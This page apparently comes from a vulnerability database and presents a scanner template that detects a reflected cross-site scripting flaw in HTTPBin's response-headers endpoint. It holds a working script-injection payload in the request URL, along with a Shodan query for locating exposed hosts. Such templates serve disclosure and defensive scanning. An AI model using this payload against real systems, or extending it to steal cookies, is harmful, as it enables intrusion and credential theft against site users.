httpbin-contenttype-xss: HTTPBin - Cross-Site Scripting

2025-08-01 httpbin PoC Public

Description

HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: httpbin-contenttype-xss

info:
  name: HTTPBin - Cross-Site Scripting
  author: ayushxtha
  severity: medium
  description: |
    HTTPBin contains a cross-site scripting vulnerability which can allow an attacker to execute arbitrary script. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://github.com/mccutchen/go-httpbin/security/advisories/GHSA-528q-4pgm-wvg2
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-80
  metadata:
    max-request: 1
    shodan-query: html:"httpbingo.org"
  tags: xss,httpbin,oss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/response-headers?Content-Type=text/html&Server=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"Server":'
          - '"<script>alert(document.domain)</script>"'
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e14c25804c216c3c964640cba9ca09349a09c489604e3276f5f880fcd1a3ec75022100d76149eb0eee52cebf88b1d0c1e05dea919ba2a9347e48d02e811e5747ba26f6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities